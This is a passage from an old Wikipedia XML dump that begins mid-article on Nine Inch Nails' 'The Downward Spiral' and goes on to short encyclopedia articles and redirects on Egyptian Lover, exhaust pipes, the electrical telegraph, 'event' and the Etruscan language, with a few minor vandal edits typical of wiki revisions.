The song &quot;[[Hurt (song)|Hurt]]&quot; has been [[cover version|covered]] by [[Johnny Cash]], the video for which was directed by Mark Romanek.

In [[2001]] [[Q_(magazine)|''Q'' magazine]] named ''The Downward Spiral'' as one of the 50 Heaviest Albums Of All Time.

==Plot==
{{spoiler}}

''The Downward Spiral'' is a [[concept album]].  Its plot follows a character trying to rid himself of the controls of [[religion]] and [[society]] as he uses [[sex]] as an escape. Eventually, this character has to face his internal void. The album reaches its climax in the title track.  The final track, &quot;Hurt&quot;, acts as an [[epilogue]] of a sorts. Many critics believe that the character resolves this conflict through suicide (lending to complaints of severe nihilism); others have taken the album's final self-destructive episode as representative of the death of the character's old identity. [http://www.sickamongthepure.com/files/2002/02/TDS/TDS.html link]

==Releases==
*[[TVT Records]] / [[Interscope Records]] 92346-2 - CD
*[[TVT Records]] / [[Interscope Records]] INTD-92346 - CD Re-release
*[[Interscope Records]] b0003739-36 - SACD
*[[Interscope Records]] b0003762-82 - DVD-A

==Tenth Anniversary Re-releases==
On [[November 23]], [[2004]], ''The Downward Spiral'' was re-released to celebrate its tenth anniversary.  It is available in two versions: as a 2-disc hybrid [[Super Audio CD|SACD]] set and as a [[DualDisc]] ([[DVD#DVD-Audio|DVD-A]] on one side and [[Compact disc|CD]] on the reverse).  The SACD version is known as ''The Downward Spiral: Deluxe Edition'' and the DVD-A version is known as ''The Downward Spiral: DualDisc''.

===Deluxe Edition===
The [[SACD]] version consists of two discs. Each disc is a CD/SACD hybrid. Disc one has the original album, digitally remastered, in SACD 5.1 [[Surround sound|surround]] and SACD [[Stereophonic sound|stereo]] on one layer (only playable in SACD players) and regular CD stereo on the other layer (playable in normal CD players).  Disc two consists of bonus tracks and is presented in SACD stereo and regular CD stereo. This disc marked the first official US release of some tracks, and the first NIN release of material only previously available on movie soundtrack albums.

This version is labeled &quot;halo eight DE&quot; and is also known as '''halo 8 DE''' or '''halo eighteroony'''.

===DualDisc===
====CD side====
Contains the original album, digitally remastered.  Playable on most regular CD players.
====DVD side====
*5.1 surround and stereo version of the original tracks, digitally remastered
*''Downward Spiral'' Artwork (plays with the music in DVD-A players, viewable as a slideshow on DVD-Video players)
*Music Videos
**''Closer'' (available in 5.1 surround and stereo)
**''March of the Pigs'' (stereo)
**''Hurt'' (stereo)
*Discography, including selected bits of music from each album (starting with [[Broken]]) that run about a minute each

This version is labeled &quot;halo eight DVD-A&quot; and is also known as '''halo 8 DVD-A'''.

==Track listing==
===Original version===
#&quot;Mr Self Destruct&quot; - 4:30
#&quot;Piggy&quot; - 4:24
#&quot;Heresy&quot; - 3:54
#&quot;[[March of the Pigs]]&quot; - 2:58
#&quot;[[Closer To God|Closer]]&quot; - 6:13
#&quot;Ruiner&quot; - 4:58
#&quot;The Becoming&quot; - 5:31
#&quot;I Do Not Want This&quot; - 5:41
#&quot;Big Man With a Gun&quot; - 1:36
#&quot;A Warm Place&quot; - 3:22
#&quot;Eraser&quot; - 4:54
#&quot;Reptile&quot; - 6:51
#&quot;The Downward Spiral&quot; - 3:57
#&quot;[[Hurt (song)|Hurt]]&quot; - 6:13

The Japanese version also has the [[Joy Division]] cover &quot;Dead Souls&quot;, from the [[The Crow (album)|soundtrack]] to ''[[The Crow (movie)|The Crow]]'', between &quot;Big Man With a Gun&quot; and &quot;A Warm Place&quot;.

===Deluxe Edition===
[[Image:Halo8deluxe.jpg|right|thumb|disc 1 cover|right|thumb|Deluxe Edition cover]]
(disc 1)
*identical to the original version

(disc 2)
#&quot;Burn&quot; (from the ''[[Natural Born Killers]]'' soundtrack) - 5:00
#&quot;Closer (Precursor)&quot; (from ''[[Closer to God]]'') (remixed by [[Coil (band)|Coil]], Danny Hyde) - 7:16
#&quot;Piggy (Nothing Can Stop Me Now)&quot; (from ''[[Further Down the Spiral]]'') (remixed by [[Rick Rubin]]) - 4:03
#&quot;A Violet Fluid&quot; (from ''[[March of the Pigs]]'') - 1:04
#&quot;Dead Souls&quot; (from [[The Crow (album)|''The Crow'' soundtrack]]) (originally by [[Joy Division (band)|Joy Division]]) - 4:53
#&quot;Hurt (Quiet)&quot; (from ''Further Down the Spiral'' (US version)) (remixed by [[Trent Reznor]]) - 5:08
#&quot;Closer to God&quot; (from ''Closer to God'') (remixed by Reznor, [[Sean Beavan]], Brian Pollack) - 5:06
#&quot;All the Pigs, All Lined Up&quot; (from ''March of the Pigs'') - 7:26
#&quot;Memorabilia&quot; - 7:22 (from ''Closer to God'') (originally by [[Soft Cell]])
#&quot;The Downward Spiral (The Bottom)&quot; (from ''Further Down the Spiral'') (remixed by [[John Balance]], [[Peter Christopherson]], Drew McDowall, Hyde) - 7:32
#&quot;Ruiner (Demo)&quot; - 4:51
#&quot;Liar (Reptile Demo)&quot; - 6:57
#&quot;Heresy (Demo)&quot; - 4:00

==Personnel==
*John Aguto - Engineer 
*Tom Baker - Mastering 
*[[Sean Beavan]] - Mixing 
*[[Adrian Belew]] - Ring mod &amp; texture generating guitars
*[[Mark Ellis (record producer)|Flood]] - Producer  
*Bill Kennedy - Mixing 
*[[Exotic Birds|Andy Kubiszewski]] - Drums 
*[[Tommy Lee]] - Steakhouse
*[[Danny Lohner]] - Guitar 
*[[Alan Moulder]] - Mixing 
*[[Stephen Perkins]] - Drums 
*Brian Pollack - Engineer 
*[[Trent Reznor]] - Vocals, Guitar, Piano, Arranger, Producer
*[[Chris Vrenna]] - Drums, Programming, Sampling

==Chart Positions==
===Album===
 1994   The Downward Spiral    The Billboard 200                    No. 2
 2004   The Downward Spiral    The Billboard 200                    No. 19

===Singles===
 1994   Closer                 The Billboard Hot 100                No. 41
 1994   March Of The Pigs      The Billboard Hot 100                No. 59
 1994   Closer                 Mainstream Rock Tracks               No. 35
 1994   Closer                 Modern Rock Tracks                   No. 11
 1994   Closer To God          Hot Dance Music/Club Play            No. 29
 1994   Closer To God          Hot Dance Music/Maxi-Singles Sales   No. 29

==External links==
*[http://www.nin.com nin.com]
*[http://tds.nin.com The Downward Spiral 10th Anniversary Edition website]
*[http://www.sickamongthepure.com/files/2002/02/TDS/TDS.html A Dissertation on The Downward Spiral]
*[http://www.wellnowwhat.net/nin/halo08.html ''Halo 8'' Lyrics]
*[http://mike7478.homestead.com/files/halo08.htm nincollector.com: halo eight]
*[http://www.discogs.com/release/4404 discogs.com: ''The Downward Spiral'' (US CD)]
*[http://www.discogs.com/release/192488 discogs.com: ''The Downward Spiral'' (US LP)]
*[http://www.discogs.com/release/173264 discogs.com: ''The Downward Spiral'' (EU CD)]
*[http://www.discogs.com/release/352665 discogs.com: ''The Downward Spiral: Deluxe Edition'' (US 2xCD)]
&lt;br clear=&quot;right&quot;&gt;

{{NIN halos}}
{{Nine Inch Nails}}
[[Category:Nine Inch Nails albums|Downward Spiral]]
[[Category:1994 albums|Downward Spiral]]
[[Category:Concept albums|Downward Spiral]]
[[Category:DualDisc albums|Downward Spiral]]
[[Category:SACDs|Downward Spiral]]

[[de:The Downward Spiral]]
[[fr:The Downward Spiral]]</text>
    </revision>
  </page>
  <page>
    <title>Violence and Redemption</title>
    <id>9442</id>
    <revision>
      <id>15907334</id>
      <timestamp>2003-01-20T17:01:59Z</timestamp>
      <contributor>
        <username>Ap</username>
        <id>122</id>
      </contributor>
      <comment>folding page back into [[Ernest Hemingway]] article</comment>
      <text xml:space="preserve">#REDIRECT [[Ernest Hemingway]]</text>
    </revision>
  </page>
  <page>
    <title>Why It Went Wrong</title>
    <id>9443</id>
    <revision>
      <id>15907335</id>
      <timestamp>2003-01-20T17:24:02Z</timestamp>
      <contributor>
        <username>Ap</username>
        <id>122</id>
      </contributor>
      <comment>Folding page back into [[Ernest Hemingway]] article</comment>
      <text xml:space="preserve">#REDIRECT [[Ernest Hemingway]]</text>
    </revision>
  </page>
  <page>
    <title>Ernest Hemingway/Bibliography</title>
    <id>9444</id>
    <revision>
      <id>15907336</id>
      <timestamp>2003-01-20T17:30:07Z</timestamp>
      <contributor>
        <username>Ap</username>
        <id>122</id>
      </contributor>
      <comment>folding page back into [[Ernest Hemingway]] article</comment>
      <text xml:space="preserve">#REDIRECT [[Ernest Hemingway]]</text>
    </revision>
  </page>
  <page>
    <title>Explorers</title>
    <id>9445</id>
    <revision>
      <id>23701132</id>
      <timestamp>2005-09-21T21:09:31Z</timestamp>
      <contributor>
        <username>Gdr</username>
        <id>55814</id>
      </contributor>
      <comment>links all want [[exploration]], so primary topic</comment>
      <text xml:space="preserve">#REDIRECT [[Exploration]]</text>
    </revision>
  </page>
  <page>
    <title>Elizabeth II</title>
    <id>9446</id>
    <revision>
      <id>15907338</id>
      <timestamp>2002-04-15T12:42:05Z</timestamp>
      <contributor>
        <ip>195.149.37.247</ip>
      </contributor>
      <comment>*#REDIRECT [[Elizabeth II of the United Kingdom]]</comment>
      <text xml:space="preserve">#REDIRECT [[Elizabeth II of the United Kingdom]]
</text>
    </revision>
  </page>
  <page>
    <title>Egyptian Lover</title>
    <id>9447</id>
    <revision>
      <id>40725556</id>
      <timestamp>2006-02-22T16:20:45Z</timestamp>
      <contributor>
        <ip>213.166.17.21</ip>
      </contributor>
      <text xml:space="preserve">'''Egyptian Lover''' (born '''Greg Broussard''') is an [[United States|American]] [[electro hop]] [[rapping|rapper]], one of the best known performers of the underground [[West Coast rap|West Coast]] [[dance music|dance]] scene. He began recording around [[Los Angeles, California|Los Angeles]] in [[1983]] as a member of the Radio Crew and later that year released &quot;Dial-A-Freak&quot; as part of Uncle Jamm's Army (see [[1983 in music]]).  The Egyptian Lover released his debut solo single and club hit &quot;Egypt, Egypt&quot; in 1984.  It was followed by more dance hits, including &quot;And My Beat Goes Boom&quot;, &quot;What Is a DJ If He Can't Scratch&quot;, and &quot;Girls&quot;.

His LPs were much less popular than his singles, though 1984's ''On the Nile'' was moderately successful.  After a break in the early [[1990s]], Egyptian Lover returned in [[1994]] (see [[1994 in music]]) with ''Back from the Tomb''.

The Egyptian Lover also established his own record company, Egyptian Empire Records, which included artists such as [[Rodney O &amp; Joe Cooley]].

{{hiphop-stub}}

[[Category:Rappers]]
Egypt has indeed risen from the Tomb...
Egyptian Lover has indeed returned, earlier this year (2005) he released his first single since 1994 entitled Party and backed with Dancefloor. The release sees, thankfully, a return to form to his faithful 'West-Coast' Electro sound updated with slightly new new sounding instrumetation. New for the 21st Century also is a website www.egyptianempirerecords.com which also talks of a new full length album 'VERY VERY SOON'. He has also made appearances recently with another 'old-school' artist ' Arabian Prince ' who some of you may remember from NWA ? Obviously those of you who are from the old school are aware of his solo efforts too prior to his involvement with the 'notorious' Rap supergroup? All I have to say now is I can't wait to hear what he comes up with to &quot;Get the Freaks on dancefloor...!&quot;

Retrieved from &quot;http://en.wikipedia.org/wiki/Talk:Egyptian_Lover&quot;</text>
    </revision>
  </page>
  <page>
    <title>Exhaust pipe</title>
    <id>9448</id>
    <revision>
      <id>42123029</id>
      <timestamp>2006-03-03T23:46:19Z</timestamp>
      <contributor>
        <username>Krash</username>
        <id>219529</id>
      </contributor>
      <minor />
      <comment>dab &quot;Pipe&quot;</comment>
      <text xml:space="preserve">An '''exhaust pipe''' is usually [[Tubing (material)|tubing]] used to guide waste [[exhaust gas]]es away from a controlled [[combustion]] inside an [[engine]] or [[stove]].

An exhaust pipe must be carefully designed to carry toxic and/or noxious gases away from the users of the machine.  Indoor generators and [[Furnace|furnaces]] can quickly fill an enclosed space with [[carbon monoxide]] or other poisonous [[exhaust]] if they are not properly vented to the outdoors.  Also, the exhaust gases from most types of machine are very hot; the pipe must be heat-resistant, and it must not pass through or near any combustible materials.

An [[automobile]]'s exhaust system usually connects to the exhaust [[Manifold (automotive engineering)|manifold]] and usually includes a [[muffler]] ([[British English]]: [[silencer]]) to reduce engine noise, and often in recent years a [[catalytic converter]] to reduce the emissions that contribute to [[air pollution]].

In a [[two-stroke engine]], such as that used on [[dirt bike]]s, a bulge in the exhaust pipe known as an [[expansion chamber]] uses the pressure of the exhaust to create a [[pump]] that squeezes more air and fuel into the cylinder during the intake stroke.  This provides greater power and fuel efficiency.

A [[chimney]] serves a similar function in a stationary structure.

==See also==
*[[Automobile emissions control]]

[[Category:Auto parts]]

[[de:Auspuff]]
[[sv:Avgasrör]]</text>
    </revision>
  </page>
  <page>
    <title>Electro funk</title>
    <id>9449</id>
    <revision>
      <id>15907341</id>
      <timestamp>2004-01-29T21:31:06Z</timestamp>
      <contributor>
        <username>Lupo</username>
        <id>34978</id>
      </contributor>
      <minor />
      <comment>fix link (Electro)</comment>
      <text xml:space="preserve">#REDIRECT [[Electro (music)]]</text>
    </revision>
  </page>
  <page>
    <title>Electrical telegraph</title>
    <id>9450</id>
    <revision>
      <id>41683280</id>
      <timestamp>2006-03-01T01:10:37Z</timestamp>
      <contributor>
        <ip>24.1.157.178</ip>
      </contributor>
      <comment>changed a spelling error</comment>
      <text xml:space="preserve">The '''electrical telegraph''' is a [[Telegraphy|telegraph]] that uses electric signals. 
__NOTOC__
==Needle telegraphs==
The very first ''electromagnetic'' ''needle'' telegraph was invented by [[ Baron Schilling]] in [[1832]].
The early systems were also ''needle'' telegraphs invented by [[Charles Wheatstone]] and [[William Fothergill Cooke]], and patented in May [[1837]] as an alarm system. 

In early [[1845]], [[John Tawell]] was apprehended following the use of a needle telegraph message from [[Slough]] to [[Paddington]] on [[January 1]] [[1845]]. This is thought to be the first use of the telegraph to catch a murderer. The message was:
:''A murder has just been committed at Salt Hill and the suspected murderer was seen to take a first class ticket to London by the train that left Slough at 7.42pm. He is in the garb of a Kwaker with a brown great coat on which reaches his feet. He is in the last compartment of the second first-class carriage''

The reason for the misspelling of 'Quaker' was that the British system did not support the letter Q.

==Morse telegraphs==

Across the Atlantic, [[Samuel Morse]] and [[Alfred Vail]] were developing an alternative design. It was capable of transmitting over long distances using poor quality wire. The [[Morse code]] alphabet commonly used on the device was also named after Morse.

On [[January 6]], [[1838]] Morse first successfully tested the device and on [[February 8]] he publicly demonstrated it to a scientific committee at the [[Franklin Institute]] in [[Philadelphia, Pennsylvania]]. The first electric telegram using this device was sent by Morse on [[May 24]], [[1844]] from [[Baltimore, Maryland|Baltimore]] to [[Washington, D.C.]], and said:
:''What hath God wrought!''

(from the [[Bible|Biblical]] [[book of Numbers]] 23:23: ''Surely there is no enchantment against [[Jacob]], neither is there any divination against [[Israel]]: according to this time it shall be said of Jacob and of Israel, What hath God wrought!'').

This was the first practical electrical telegraph system, and subsequently ''electrical telegraph'' came to refer to a signaling telegram - a system where an operator makes and breaks an electrical contact with a [[telegraph key]] which results in an audible signal at the other end produced by a [[telegraph sounder]] which is interpreted and transcribed by a human. Morse and Vail's first telegraphs used a pen and paper system to record the marks of the Morse Code, and interpreted the marks visually however, operators soon realized that they could &quot;read&quot; the clicking of the receiver directly by ear. Systems which automatically read the signals and print formed characters are generally called [[teletype]] rather than telegraph systems. Some electrical telegraphs used indicators which were read visually rather than by ear. The most notable of these was the early [[transatlantic telegraph cable]].

==Global communication==

Within 29 years of its invention, the telegraph network crossed the oceans to every continent, making instant global [[communication]] possible for the first time. Its development allowed newspapers to cover significant world events in near real-time, revolutionized business, particularly trading businesses, and allowed huge fortunes to be won and lost in a flurry of investment in research and infrastructure building reminiscent of the [[1990s]] [[dot-com]] boom. Few inventions have ever had greater impact.

==See also==
*[[Baron Schilling]]
*[[Telegraphy]]
*[[Telegraph key]]
*[[Undersea telegraph cable]]
*[[Charles Wheatstone]]
*[[Slough]] - for more details of the Tawell murder

==External links==
*[http://www.morsetelegraphclub.org/ Morse Telegraph Club, Inc.] (The Morse Telegraph Club is an international non-profit organization dedicated to the perpetuation of the knowledge and traditions of telegraphy.)
*http://www.du.edu/~jcalvert/tel/morse/morse.htm
*http://collections.ic.gc.ca/canso/index.htm

*
[[da:Elektrisk telegraf]]
[[fi:Lennätin]]
[[ja:&amp;#38651;&amp;#20449;]]
[[sl:Telegraf]]

[[Category:Telecommunications history]]</text>
    </revision>
  </page>
  <page>
    <title>Event</title>
    <id>9451</id>
    <revision>
      <id>39868714</id>
      <timestamp>2006-02-16T12:21:17Z</timestamp>
      <contributor>
        <username>Wiki alf</username>
        <id>303874</id>
      </contributor>
      <comment>rvv</comment>
      <text xml:space="preserve">{{wiktionary|event}}
An '''event''' is something that takes place; an occurrence and arbitrary point in [[time]]. A significant occurrence or happening. A social gathering or activity.

Individuals define an event's significance subjectively; people actively and retroactively compartmentalize their lives and [[history]] in terms of [[epoch (reference date)|epoch]]s delimited by events considered to be significant.

== Sciences ==
* In [[physics]] (and in some kinds of [[philosophy]]), an event occurs at a point in [[time]] which can be distinguished because the [[state (disambiguation)|state]] of the world changed.  Something was different before and after the event. Physics also speaks of [[event horizon]]s and [[simultaneity]]. In Physics and in Science in general, an event may be contrasted with a [[process]], which occurs across intervals, not just at a point on a timeline. An action or relationship may be misunderstood when viewed as an event or single point of focus. Instead, it may help to view it as part of an integrated process.
* In [[special relativity]] (and [[general relativity]]), an event is a point in the [[spacetime]] continuum, i.e. it has a position in [[space]] and [[time]].
* In experimental [[particle physics]], an [[event (particle physics)|event]] refers to a set of [[elementary particle]] interactions recorded in a brief span of time.
* In [[probability]] a possible outcome of an experiment is called an [[elementary event]], while a set of those (a subset of all) is called simply an event (see [[event (probability theory)]]).
* In [[biology]] one speaks of [[extinction event]]s.
* In [[philosophy]], one might want to distinguish [[fact]]s from [[event (philosophy)|events]], and then between physical events, [[mental event]]s, and [[brain event]]s.
[[Weinberg's Law of Twins]] states that most of the time, no matter how much effort one expends, no event of any great significance will result.

== Telecommunications ==
* In [[information processing]], an event is a change in the [[property |properties]] received by an [[observer]] after being transmitted from an [[object]].
* In [[computer science]], an event is a software message that indicates something has happened. See [[event-driven programming]]. A number of protocols, such as [[MIDI]], are also event-based.


{{disambig}}
[[de:Ereignis]]
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[[ja:イベント]]
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[[sv:Evenemang]]</text>
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  <page>
    <title>Estruscan alphabet</title>
    <id>9452</id>
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      <id>15907344</id>
      <timestamp>2004-08-16T20:45:50Z</timestamp>
      <contributor>
        <username>Topbanana</username>
        <id>20151</id>
      </contributor>
      <comment>fix broken redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Etruscan language]]</text>
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  </page>
  <page>
    <title>Establishing shot</title>
    <id>9454</id>
    <revision>
      <id>36870375</id>
      <timestamp>2006-01-27T00:26:29Z</timestamp>
      <contributor>
        <username>Mikereichold</username>
        <id>566926</id>
      </contributor>
      <comment>rvv</comment>
      <text xml:space="preserve">In [[film]] the '''establishing shot''' is a short referential section at the beginning of a scene indicating where the remainder of the scene takes place.  For example, an exterior [[shot (film)|shot]] on location of a large building on a rainy night, followed by an interior shot of a couple talking, implies that the conversation is taking place inside that building.  Of course the conversation may in fact have been filmed on a studio set because of budget, permitting, time limitations, etc.  Directors will frequently use subtle cues to reinforce the illusion--in this case, the sound of rain plus the occasional sight of it through a window in the background.

{{filming-stub}}

[[Category:Film techniques]]

[[de:Establishing Shot]]</text>
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  <page>
    <title>Etruscan language</title>
    <id>9455</id>
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      <id>41573427</id>
      <timestamp>2006-02-28T06:00:11Z</timestamp>
      <contributor>
        <ip>71.161.139.70</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{Infobox Language
|name=Etruscan
|familycolor=Isolate
|states=Ancient [[Etruria]]
|region=[[Italian peninsula]]
|extinct=[[1st century|1st century CE]] 
|family=Unclassified, possibly [[Lemnian language|Lemnian]] 
|iso2=und|iso3=ett}}
'''Etruscan''' was a [[language]] spoken and written in the ancient region of [[Etruria]] (current [[Tuscany]]) and in parts of what are now [[Lombardy]], [[Veneto]], and [[Emilia-Romagna]] (where the Etruscans were displaced by [[Gaul]]s), in [[Italy]]. However, [[Latin]] superseded Etruscan completely, leaving only a few documents and a few [[loanword]]s in Latin (e.g., ''persona'' from Etruscan ''phersu''), and some place-names, like [[Parma, Italy|Parma]].

==History==
[[Image:Haruspex.png|thumb|right|300px|Drawing of the inscriptions on the  [[Piacenza]] liver, see [[haruspex]].]]
The [[Etruscans]] are thought by some to be indigenous people of Italy, living there before the [[Indo-European]] migration and the arrival of the Latins, around [[1000 BC]].  [[Herodotus]] (''Histories'' I.94), however, describes the [[Tyrrhenian]]s as immigrants from [[Lydia]] in western [[Anatolia]], led west, fleeing famine, by their leader Tyrrhoeus, to settle in [[Umbria]] [http://www.fordham.edu/halsall/ancient/etrucans2.html]; the Tyrrhenians of Herodotus are sometimes identified with the Etruscans, although there is no material cultural evidence to back this up.  Literacy was fairly common, as can be seen by the great number of short [[inscription]]s (dedications, [[epitaph]]s etc). Though, in the [[1st century BC]], the Greek historian [[Dionysius of Halicarnassus]] noted that the Etruscan language was unlike any other, the Etruscans had a rich literature, as noted by Latin authors.

With the rise of the [[Roman Republic]] that conquered Etruria, Latin [[hegemony]] hastened the decline of the Etruscan civilization, and by [[200 BC]], Etruscan was already replaced by Latin, except perhaps among some isolated mountain or fenland communities and, in a field that was more accessible to Latin authors, in the traditional contexts of [[cult|religious cult]]. 
By the late Republic, however, only a few educated Romans with antiquarian interests (such as [[Marcus Terentius Varro|Varro]]) could read Etruscan. 
The last person known to have been able to read Etruscan was the [[Roman emperor ]] [[Claudius]] ([[10 BC]] &amp;ndash; [[54]]), who compiled a dictionary (now lost) by interviewing the last few elderly rustics who still spoke the language.

[[Livy]] and [[Cicero]] were both aware that highly-specialized Etruscan religious rites were codified in several sets of books written in Etruscan under the generic Latin title ''Etrusca Disciplina.'' The ''Libri Haruspicini'' dealt with [[divination]] from the entrails of the sacrificed animal, the ''Libri Fulgurales'' expounded the art of divination by observing lightning. A third set, the ''Libri Rituales'', would have provided us with the key to Etruscan civilization: its wider scope embraced Etruscan standards of social and political life as well as ritual practices. According to the [[4th century]] Latin writer [[Servius]], a fourth set of Etruscan books existed, dealing with animal gods, but it is probably unlikely that any contemporary scholar could have read Etruscan at such a late date. Christian authorities collected such works of paganism and burnt them during the [[5th century]]; the single surviving Etruscan book, ''[[Liber Linteus]]'', being written on linen, survived only by being used as mummy wrappings. 

Etruscan had some influence over Latin. A few dozen words were borrowed by the Romans and some of them can be found in modern languages.

==Classification==
The majormost consensus is that Etruscan is related only to other members of what is called the '''Tyrrhenian''' language family which in itself is isolate, that is, unrelated to other language groups as far as we can tell. There is no doubt that [[Rhaetic]] and [[Lemnian]] are among this family. In his ''Natural History'' ([[1st century]] AD), [[Pliny the Elder|Pliny]] wrote about Alpine peoples: &quot;The [[Rhaetia]]ns and the [[Vindelicia|Vindelicans]] border with these &lt;nowiki&gt;[&lt;/nowiki&gt;[[Noricum|Noricans]]&lt;nowiki&gt;]&lt;/nowiki&gt;, all distributed in numerous cities. The Gauls maintain that the Raetians descend from the Etruscans, pushed back under the leadership of Raetus.&quot; Based on this and linguistic data it's clear that Etruscan ought to be related to [[Raetia|Raetic]]. However, beyond these known facts, there is ample debate and hearsay that follows.

Debate continues on concerning the relationship of [[Eteocypriot]], [[Eteocretan]] and [[Minoan]] to this family. The Amathus bilingual written in Eteocretan shows important structural similarities bearing what appears to be a genitive in '''-O-SE''' (Etruscan &lt;-as&gt; and Lemnian &lt;-š&gt;) as well as a 3ps animate pronoun '''A-NA''' (Etruscan &lt;an&gt; 'he, she'). The meager text however makes it difficult to prove a kinship for certain. Time will tell whether these connections bear fruit.

Some modern scholars have claimed that Etruscan as part of a larger Tyrrhenian family is distantly related to [[Indo-European]], citing similarities in grammatical endings and vocabulary. By extension, because Indo-European is a classified as a [[Nostratic]] language, they therefore presume that Etruscan and its family are also Nostratic. However, scholars differ on whether Nostratic is a valid grouping. Nothing yet can be ascertained considering the paucity of texts in general other than those of Etruscan. For now, many remain conservative and consider Tyrrhenian to be isolate. A connection with IE is not proven by a long-shot.

==Other less accepted theories==
The interest in Etruscan antiquities and the mysterious Etruscan language found its modern origin in a book by a Dominican monk, [[Annio da Viterbo]], &quot;il Pastura&quot; (1432&amp;mdash;1502), the [[cabalist]] and [[orientalist]] who guided [[Pinturicchio]]'s allegorical frescoes for [[Pope Alexander VI]]'s Vatican apartments. In [[1498]] Annio published his antiquarian miscellany titled ''Antiquitatum variarum '' (in 17 volumes) where he put together a fantastic theory in which both the Hebrew and Etruscan languages were said to originate from a single source, the &quot;Aramaic&quot; spoken by Noah and his descendants, founders of Etruscan Viterbo. Annio also started to excavate Etruscan tombs, unearthing sarcophagi and inscriptions, and made a bold try at deciphering the Etruscan language. 

It is long ago been disproven that Etruscan can possibly be on its own a member of the Indo-European branch of [[Anatolian languages]] because of the discovery of the [[Lemnian language]], which backs up Herodotus' ancient account of an eastern origin of the Etruscans and their language. Furthermore, Etruscan is very different from IE languages, having a [[Grammatical person|first person]] [[Grammatical number|singular]] [[Nominative case|nominative]] '''mi''' while Indo-European languages point to '''*h&lt;font size=&quot;-2&quot;&gt;&lt;sub&gt;1&lt;/sub&gt;&lt;/font&gt;egô''' instead. It also lacks any pronominal endings, a thematic class of verbs in *-e-, [[ablaut]] between *e and *o in the verb stem, and other clear features that are specifically those of the IE family. While there is debate about Etruscan and the Tyrrhenian family being ''related to'' IE, the debate about Etruscan ''being'' an IE language is very much dead now.

The obscurity of Etruscan's roots continue to attract further investigation.  A recent (2003) study by linguist [[Mario Alinei]] has proposed the idea that Etruscan may have been an archaic form of [[Hungarian language|Hungarian]].  While this theory is considered controversial, and is not widely accepted in academic circles, nevertheless there are a number of similarities between Etruscan and Hungarian that provide the basis for Alinei's theory: similarities between certain words (magistrature names), agglutination, vowel harmony, construction of personal pronouns when used together with prepositions, etc.  Alinei's theory is consistent with archaeological findings that established a connection between the [[Villanovan]] culture and the [[Urnfield]] culture that originated in the Carpathian basin (as concluded by archaeologist Hugh Hencken). However, critics accuse Alinei's work as being the product of [[Mass lexical comparison|mass comparison]], a methodology that is not accepted by comparative linguists.

==Geographic distribution==
Etruscan was spoken in north-west and west-central [[Italy]], in the region that even now bears their name: [[Tuscany]], and in the [[Po]] valley to the north of Etruria.

=== Related Languages ===
One language certain to be very closely related to Etruscan is the language once spoken on the island of [[Lemnos]] before the Athenian invasion ([[6th century BC]]), aptly named Lemnian. A stone tablet called the [[Lemnos stele]] was found there written with a script related to Etruscan and is dated to approximately 600 BCE. We know that the inhabitants actually spoke this language due to the plethora of ceramic pieces with inscriptions written with this same alphabet. However, we do not know when or how speakers of this dialect arrived on this island.

It is probable that Rhaetic, a language attested in Northern Italy, is also related to Etruscan, sharing with it some common features such as grammatical inflections and vocabulary, although the number of inscriptions in this language are few.

The most notable inscription in a language known to linguists as [[Eteocypriot]] is the Amathus Bilingual, so named because it bears a partially translated version of the Eteocypriot text in the ancient Attic dialect of Greek. Like Lemnian, it bears similarities in vocabulary and grammar to Etruscan and is likely to be part of the same family.

Tentatively, some note a possible relationship with Minoan (aka [[Eteocretan]]) to Etruscan, written in the [[Linear A]] script. While this may seem too bold for some, this view would be perfectly in line with Herodotus' account in Histories that Etruscans originate from Asia Minor, suggesting that an entire family of now extinct languages may have once existed in the area extending from Greece and neighbouring islands to Western Turkey. Indeed, this in turn may remind us of the theory proposed by [[Robert S. P. Beekes|Beekes]] of a pre-Greek substrate present in some Greek words of otherwise obscure &quot;non-Indo-European&quot; origin.

In all, the old view that Etruscan is an ''isolated'' language can be put to rest. In modern times we see that Etruscan is part of a larger linguistic family that is now known as Tyrrhenian, based on the Greek name for the Etruscans, &quot;Tyrrhenoi&quot;.

==Sounds==
The reconstructed [[phonemes]] of Etruscan ([[International Phonetic Alphabet|IPA]] encoding):

===Vowels===
*{{IPA|/a/}} letter: A
*{{IPA|/e/}} letter: E
*{{IPA|/i/}} letter: I
*{{IPA|/u/}} letter: V
*{{IPA|/w/}} letter: F

===Consonants===
*{{IPA|/h/}} letter: H
*{{IPA|/p/}} letter: P
*{{IPA|/p&amp;#688;/}} letter: Φ
*{{IPA|/t/}} letter: T
*{{IPA|/t&amp;#688;/}} letter: Θ
*{{IPA|/k/}} letter: K
*{{IPA|/k&amp;#688;/}} letter: Χ (''[[chi (letter)|chi]]'', not ''[[x]]'')
*{{IPA|/ts/}} letter: Z
*{{IPA|/s/}} letter: S
*{{IPA|/&amp;#643;/}} letter: [[san (letter)|{{Unicode|Ϻ}}]]
*{{IPA|/f/}} letter: 8, FH
*{{IPA|/l/}} letter: L
*{{IPA|/r/}} letter: R
*{{IPA|/m/}} letter: M
*{{IPA|/n/}} letter: N

Rix (see Refs.) postulates several syllabic consonants, namely {{IPA|/l, r, m, n/}} and palatal {{IPA|/l, r, n/}} as well as a labiovelar spirant but this is not the view shared by most Etruscanologists. Some scholars (see Cristofani et al.) also view the aspirates as palatal rather than aspirated.

==Texts==
Helmut Rix, ''Etruskische Texte'', works as a kind of incomplete thesaurus, a main key to studying the Etruscan language. 

First of all Rix and his collaborators present the only two unified (though fragmentary) texts available in Etruscan: the ''[[Liber Linteus]]'' used for mummy wrappings (now at [[Zagreb, Croatia]]) and the ''[[Tabula Capuana]]'' (the inscribed tablet from [[Capua]]).

All the rest of the recovered inscriptions follow, grouped according to the localities in which they were found: [[Campania]], [[Latium]], [[Falerii]] and [[Ager Faliscus]], [[Veii]], [[Caere]], [[Tarquinia]], [[Ager Tarquinensis]], [[Ager Hortanus]], and finally, outside Italy, in  [[Gallia Narbonensis]], in [[Corsica]] and in [[North Africa]]. (Two inscriptions from [[Sardinia]], published in 1935, escaped Rix.)

Less precisely identified inscriptions follow, and finally inscriptions on small movable objects: bronze mirrors and ''cistae'' (boxes), on gems and coins.

Archeological inscriptions in Etruscan include inner walls and doors of tombs, engraved stele, [[Ossuary|ossuaries]], mirrors and [[votive offering|votive gifts]].

Inscriptions are highly abbreviated and often casually formed, so that many individual letters are in doubt among the specialists.

The [[Pyrgi Tablets]] are a short bilingual text in Etruscan and [[Phoenician language|Phoenician]].

